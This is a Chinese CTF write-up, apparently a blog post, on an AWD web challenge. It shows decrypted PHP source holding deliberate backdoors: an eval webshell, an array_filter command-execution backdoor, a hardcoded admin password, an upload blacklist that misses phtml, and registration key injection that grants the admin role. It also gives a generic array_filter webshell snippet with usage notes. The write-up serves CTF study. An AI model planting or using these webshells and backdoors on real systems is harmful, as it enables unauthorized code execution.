[西湖論劍awd] web1

[西湖論劍awd] web1

打比賽的時(shí)候?yàn)榱耸r(shí)看到一個(gè)洞就直接打了然后權(quán)限維持就沒(méi)仔細(xì)看,趁著有空看一下(主要拿分還是靠web2)
代碼量并不是很大

解密文件

首先在libs里面可以看到經(jīng)過(guò)了加密的
可以通過(guò)echo來(lái)解密出來(lái)
echo($ooo000($ooo00o($o00o)));
解密的一部分文件

lib_common.php

<?php
include "/var/www/html/config/config.php";

define('DEBUG', false);
define('ADMIN', false);
define('FLAG', null);
define('SECRET', '5a689e4c8390f0e0cb65a8ad852f5fe7');
define('APP_NAME', $cfg_appname ? $cfg_appname : 'mycms');
define('APP_VERSION', $cfg_version ? $cfg_version : '1.0.0');
define('APP_AUTHOR', $cfg_auther ? $cfg_auther : 'unknown');
$data = array_merge($_POST,$_GET);

class_user.php

class User
{

    public static function getAllUser()
    {
        $sql = 'select * from `user`';
        $db  = new MyDB();
        if (!$users = $db->exec_sql($sql)) {
            return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1));
        }
        return $users;
    }

    public static function getNameByID($id)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['id'] === $id) {
                return $users[$i]['name'];
            }
        }
        return null;
    }

    public static function getIDByName($name)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['name'] === $name) {
                return $users[$i]['id'];
            }
        }
        return null;
    }

    public static function getRoleByName($name)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['name'] === $name) {
                return $users[$i]['role'];
            }
        }
        return null;
    }

    public static function check($name, $password,$raw=0)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if(!$raw){
            if ($users[$i]['name'] === $name && $users[$i]['password'] === self::encodePassword($password) && $users[$i]['status'] == 1) {
                return true;
            }
            }else{
                if ($users[$i]['name'] === $name && $users[$i]['password'] === $password && $users[$i]['status'] == 1) {
                return true;
            }
            }
        }
        return false;
    }

    public static function encodePassword($str)
    {
        return md5($str . constant('SECRET'));
    }

    public static function setting($data)
    {
        if (isset($data['id']) && $data['id']) {
            $sql = 'select * from `user` where `id`=' . $data['id'] . ' limit 0,1';
        } else {
            return array('msg' => '參數(shù)錯(cuò)誤', 'code' => -1, 'data' => array());
        }
        $db = new MyDB();
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '暫無(wú)數(shù)據(jù)或記錄已刪除', 'code' => -1, 'data' => array());
        }
        if ($result['role'] == 1) {
            return array('msg' => '管理員數(shù)據(jù)不可更改', 'code' => -1, 'data' => array());
        }
        if ($result['status'] == 1) {
            $status = 0;
        } else {
            $status = 1;
        }

        $sql = 'update `user` set `status`=' . $status . ' where `id`= ' . $data['id'];
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '數(shù)據(jù)庫(kù)異常', 'code' => -1, 'data' => array());
        }
        return array('msg' => '操作成功', 'code' => 0, 'data' => array());
    }

    public static function insertuser($data)
    {
        $db = new MyDB();
        $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '數(shù)據(jù)庫(kù)異常', 'code' => -1, 'data' => array());
        }
        return array('msg' => '操作成功', 'code' => 0, 'data' => array());
    }
}

class_debug.php

class Debug {    
    public $msg='';    
    public $log='';    
    function __construct($msg = '') {        
        $this->msg = $msg;       
        $this->log = 'errorlog';        
        $this->fm = new FileManager($this->msg);    
    }    
    function __toString() {        
        $str = "[DEUBG]" . $msg;        
        $this->fm->save();         
        return $str;
    }

    function __destruct() {
        file_put_contents('/var/www/html/logs/'.$this->log,$this->msg);
        unset($this->msg);
    }
}

后門(mén)

shell.php

進(jìn)目錄就可以看到一個(gè)shell.php

<?php
session_start();
if ($_SESSION['role'] == 1) {
    eval($_POST[1]);
}

條件是$_SESSION['role'] == 1
那么看一下什么時(shí)候$_SESSION['role'] == 1

login.php

session_start();

if (isset($data['user']) && isset($data['pass'])) {
    $user = $data['user'];
    $pass = $data['pass'];
if (User::check($user, $pass)) {
        setcookie("auth",$user."\t".User::encodePassword($pass));
        $_SESSION['user'] = User::getIDByName($user);
        $_SESSION['role'] = User::getRoleByName($user);
        $wrong            = false;
        header("Location: index.php");
    } else {
        $wrong = true;
    }
}

role是通過(guò)那個(gè)user的加密文件里面的函數(shù)來(lái)獲得的思考一下反正是通過(guò)數(shù)據(jù)庫(kù)來(lái)獲得的就去查看一下數(shù)據(jù)庫(kù)

-w622

可以看到admin的role為1就是要登錄admin
-w472

register.php
可以看到password存進(jìn)去之前是有加密的
貌似一籌莫展的時(shí)候想起來(lái)web2后臺(tái)的弱密碼是admin123
于是我也想試一下結(jié)果就登錄了???
image

跑了一下應(yīng)該是個(gè)admin123加鹽的MD5

解一下加密文件之后可以看到


-w899

當(dāng)沒(méi)有user的時(shí)候可以通過(guò)admin123登錄

footer.php

footer.php也是一個(gè)后門(mén)而且在每一個(gè)頁(yè)面都有導(dǎo)入

if($_SERVER['SCRIPT_FILENAME']==__FILE__){
    echo '<p>? mycms</p>';
}else{
    array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
}

array_filter的運(yùn)行腳本

#用回調(diào)函數(shù)過(guò)濾數(shù)組中的元素:array_filter(數(shù)組,函數(shù))
#命令執(zhí)行func=system&cmd=whoami
#菜刀連接http://localhost/123.php?func=assert  密碼cmd
$cmd=$_POST['cmd'];
$func =$_GET['func'];
array_filter(array($cmd),$func);

-w290

passname是post的值直接可以控可直接getshell
-w713

down.php

很明顯有一個(gè)ssrf

-w653

但是過(guò)濾了http
可以用file協(xié)議來(lái)讀本地的源碼
但是用大小寫(xiě)繞過(guò)正則也繞不過(guò)file_exist
導(dǎo)致無(wú)法直接獲得flag
可能是不能訪問(wèn)公網(wǎng)內(nèi)網(wǎng)可以??

article.php

在寫(xiě)文章的地方存在XSS但是其實(shí)并沒(méi)有什么用
我覺(jué)得線下awd都是很少訪問(wèn)文章的
但是存在一個(gè)文件上傳
class_article.php中存在黑名單

-w607

可以發(fā)現(xiàn)他的黑名單里面并沒(méi)有phtml
就可以上傳一個(gè)phtml來(lái)getshell

class_user.php

public static function insertuser($data)
{
    $db = new MyDB();
    $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
    if (!$result = $db->exec_sql($sql)) {
        return array('msg' => '數(shù)據(jù)庫(kù)異常', 'code' => -1, 'data' => array());
    }
    return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}

在這里可以看到在注冊(cè)的時(shí)候
可以自定義key和value,
那么只要key為role
value為1就可以成為管理員來(lái)運(yùn)行shell.php了

-w929

在這里有個(gè)raw如果把raw改掉的話就可以直接通過(guò)MD5
的值進(jìn)行登錄在權(quán)限維持的時(shí)候可能會(huì)有一點(diǎn)幫助

總結(jié)

還是太菜了可能有很多地方還沒(méi)看到
希望有大佬告訴我下哪里還可以有操作的地方
不得不吐槽一下阿里云傳個(gè)shell上去就把我ip ban了

參考鏈接

http://www.cnblogs.com/fox-yu/p/9134848.html

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,412評(píng)論 6 532
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,514評(píng)論 3 416
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 176,373評(píng)論 0 374
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 62,975評(píng)論 1 312
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,743評(píng)論 6 410
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 55,199評(píng)論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,262評(píng)論 3 441
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 42,414評(píng)論 0 288
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,951評(píng)論 1 336
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,780評(píng)論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 42,983評(píng)論 1 369
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,527評(píng)論 5 359
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,218評(píng)論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 34,649評(píng)論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 35,889評(píng)論 1 286
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 51,673評(píng)論 3 391
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 47,967評(píng)論 2 374

推薦閱讀更多精彩內(nèi)容